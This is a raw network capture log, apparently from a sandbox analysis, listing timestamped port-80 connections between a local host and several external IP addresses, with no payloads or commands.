Jul 27, 2023 21:52:46.520324945 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.520337105 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.520390034 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.521344900 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.521394968 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.521428108 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.521442890 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.521455050 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.521502018 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.539684057 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.539737940 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.539784908 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.539805889 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.539832115 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.539846897 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.539846897 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.539880991 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.539889097 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.539931059 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.539943933 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.539978981 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.539987087 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540024996 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540036917 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540091038 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540091038 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540138960 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540144920 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540184975 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540196896 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540230989 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540241003 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540288925 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540301085 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540352106 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540370941 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540405035 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540591002 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540637970 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540652037 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540683985 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540693045 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540730953 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540749073 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540777922 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540795088 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540823936 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.540834904 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.540884018 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.559727907 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.559829950 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.559879065 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.559923887 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.559972048 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.559993982 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.560020924 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.560040951 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.560040951 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.560067892 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.560076952 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.560076952 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.560121059 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.560127020 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.560180902 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.564995050 CEST	80	49776	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.565139055 CEST	49776	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.575439930 CEST	49775	80	192.168.2.4	193.70.68.254
Jul 27, 2023 21:52:46.594924927 CEST	80	49775	193.70.68.254	192.168.2.4
Jul 27, 2023 21:52:46.624766111 CEST	49776	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.755315065 CEST	80	49776	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.756632090 CEST	80	49776	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.756769896 CEST	49776	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.757188082 CEST	80	49776	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.757298946 CEST	49776	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.762666941 CEST	49776	80	192.168.2.4	208.97.178.138
Jul 27, 2023 21:52:46.891381979 CEST	80	49776	208.97.178.138	192.168.2.4
Jul 27, 2023 21:52:46.981787920 CEST	49778	80	192.168.2.4	107.180.98.101
Jul 27, 2023 21:52:47.022939920 CEST	49779	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:47.039294958 CEST	80	49779	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:47.039489985 CEST	49779	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:47.039788961 CEST	49779	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:47.056024075 CEST	80	49779	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:47.068943977 CEST	80	49779	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:47.069103956 CEST	49779	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:47.139493942 CEST	80	49778	107.180.98.101	192.168.2.4
Jul 27, 2023 21:52:47.139672995 CEST	49778	80	192.168.2.4	107.180.98.101
Jul 27, 2023 21:52:47.166704893 CEST	49778	80	192.168.2.4	107.180.98.101
Jul 27, 2023 21:52:47.214903116 CEST	49779	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:47.235600948 CEST	80	49779	188.114.96.7	192.168.2.4
Jul 27, 2023 21:52:47.235759020 CEST	49779	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:52:47.324390888 CEST	80	49778	107.180.98.101	192.168.2.4
Jul 27, 2023 21:52:47.328433990 CEST	80	49778	107.180.98.101	192.168.2.4
Jul 27, 2023 21:52:47.328547001 CEST	49778	80	192.168.2.4	107.180.98.101
Jul 27, 2023 21:52:47.340744019 CEST	49778	80	192.168.2.4	107.180.98.101
Jul 27, 2023 21:52:47.486677885 CEST	49780	80	192.168.2.4	165.227.252.190
Jul 27, 2023 21:52:47.498891115 CEST	80	49778	107.180.98.101	192.168.2.4
Jul 27, 2023 21:52:47.585414886 CEST	80	49780	165.227.252.190	192.168.2.4
Jul 27, 2023 21:52:47.585630894 CEST	49780	80	192.168.2.4	165.227.252.190
Jul 27, 2023 21:52:47.640945911 CEST	49780	80	192.168.2.4	165.227.252.190
Jul 27, 2023 21:52:47.643049955 CEST	49781	80	192.168.2.4	104.143.9.110
Jul 27, 2023 21:52:47.738342047 CEST	80	49780	165.227.252.190	192.168.2.4
Jul 27, 2023 21:52:47.738873959 CEST	80	49780	165.227.252.190	192.168.2.4
Jul 27, 2023 21:52:47.739006042 CEST	49780	80	192.168.2.4	165.227.252.190
Jul 27, 2023 21:52:47.741720915 CEST	80	49781	104.143.9.110	192.168.2.4
Jul 27, 2023 21:52:47.741836071 CEST	49781	80	192.168.2.4	104.143.9.110
Jul 27, 2023 21:52:47.762636900 CEST	49782	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:52:47.819159985 CEST	49781	80	192.168.2.4	104.143.9.110
Jul 27, 2023 21:52:47.918067932 CEST	80	49781	104.143.9.110	192.168.2.4
Jul 27, 2023 21:52:47.929553032 CEST	80	49781	104.143.9.110	192.168.2.4
Jul 27, 2023 21:52:47.929691076 CEST	49781	80	192.168.2.4	104.143.9.110
Jul 27, 2023 21:52:48.045854092 CEST	80	49782	162.43.120.128	192.168.2.4
Jul 27, 2023 21:52:48.045958042 CEST	49782	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:52:48.088011980 CEST	49782	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:52:48.356476068 CEST	49784	80	192.168.2.4	213.186.33.40
Jul 27, 2023 21:52:48.371085882 CEST	80	49782	162.43.120.128	192.168.2.4
Jul 27, 2023 21:52:48.372522116 CEST	80	49782	162.43.120.128	192.168.2.4
Jul 27, 2023 21:52:48.372622013 CEST	49782	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:52:48.387945890 CEST	80	49784	213.186.33.40	192.168.2.4
Jul 27, 2023 21:52:48.388061047 CEST	49784	80	192.168.2.4	213.186.33.40
Jul 27, 2023 21:52:48.424663067 CEST	49784	80	192.168.2.4	213.186.33.40
Jul 27, 2023 21:52:48.458826065 CEST	80	49784	213.186.33.40	192.168.2.4
Jul 27, 2023 21:52:48.458937883 CEST	49784	80	192.168.2.4	213.186.33.40
Jul 27, 2023 21:52:48.500648022 CEST	49782	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:52:48.589898109 CEST	49784	80	192.168.2.4	213.186.33.40
Jul 27, 2023 21:52:48.623296976 CEST	80	49784	213.186.33.40	192.168.2.4
Jul 27, 2023 21:52:48.623389959 CEST	49784	80	192.168.2.4	213.186.33.40
Jul 27, 2023 21:52:48.784004927 CEST	80	49782	162.43.120.128	192.168.2.4
Jul 27, 2023 21:52:48.785104036 CEST	80	49782	162.43.120.128	192.168.2.4
Jul 27, 2023 21:52:48.785183907 CEST	49782	80	192.168.2.4	162.43.120.128
Jul 27, 2023 21:52:49.417824030 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.436980009 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.437107086 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.437392950 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.456422091 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.499392033 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.499450922 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.499500036 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.499502897 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.499502897 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.499536991 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.499572039 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.499624014 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.526618004 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.526736975 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.526740074 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.526789904 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.526849031 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.526905060 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.526906967 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.526976109 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.527038097 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.527086020 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.527184963 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.527249098 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.527270079 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.527324915 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.527343035 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.527415037 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.527421951 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.527466059 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.527576923 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.528016090 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.547358036 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547475100 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547528028 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547595024 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547600031 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.547600031 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.547600031 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.547667027 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.547691107 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547763109 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.547807932 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547877073 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.547894955 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547945976 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.547959089 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548010111 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548034906 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548099995 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548120975 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548196077 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548207998 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548260927 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548317909 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548387051 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548393965 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548465967 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548474073 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548542976 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548657894 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548727989 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548734903 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548800945 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.548820972 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.548886061 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.549024105 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.549093962 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.549117088 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.549170017 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.549180031 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.549236059 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.567817926 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.567857981 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.567878962 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.567919970 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.567941904 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.567982912 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.567992926 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568079948 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568121910 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568146944 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568198919 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568255901 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568303108 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568344116 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568388939 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568506956 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568551064 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568578959 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568618059 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568681955 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568720102 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568795919 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568840981 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.568906069 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.568947077 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569024086 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569061995 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569122076 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569181919 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569250107 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569288969 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569324970 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569361925 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569417953 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569453001 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569612026 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569648981 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569659948 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569694996 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569778919 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569816113 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569900990 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.569938898 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.569992065 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570029974 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570100069 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570136070 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570192099 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570225954 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570277929 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570311069 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570415974 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570450068 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570554018 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570586920 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570630074 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570663929 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570719957 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570750952 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570889950 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.570926905 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.570986032 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571021080 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571074009 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571106911 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571187019 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571219921 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571279049 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571312904 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571408987 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571443081 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571533918 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571567059 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571619987 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571657896 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571746111 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571783066 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.571858883 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.571893930 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587165117 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587199926 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587253094 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587269068 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587275982 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587321997 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587388992 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587430954 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587477922 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587519884 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587595940 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587641954 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587656021 CEST	49777	80	192.168.2.4	64.125.133.18
Jul 27, 2023 21:52:49.587753057 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587786913 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.587795973 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587824106 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.587965965 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588011026 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588011026 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588047981 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588120937 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588160992 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588231087 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588310003 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588526964 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588562965 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588571072 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588599920 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588604927 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588638067 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588684082 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588721991 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588782072 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588820934 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.588897943 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.588937044 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589004040 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589041948 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589150906 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589189053 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589236021 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589272976 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589339018 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589384079 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589451075 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589500904 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589544058 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589581966 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589684010 CEST	80	49785	62.75.216.137	192.168.2.4
Jul 27, 2023 21:52:49.589723110 CEST	49785	80	192.168.2.4	62.75.216.137
Jul 27, 2023 21:52:49.589931965 CEST	80	49785	62.75.216.137	192.168.2.4
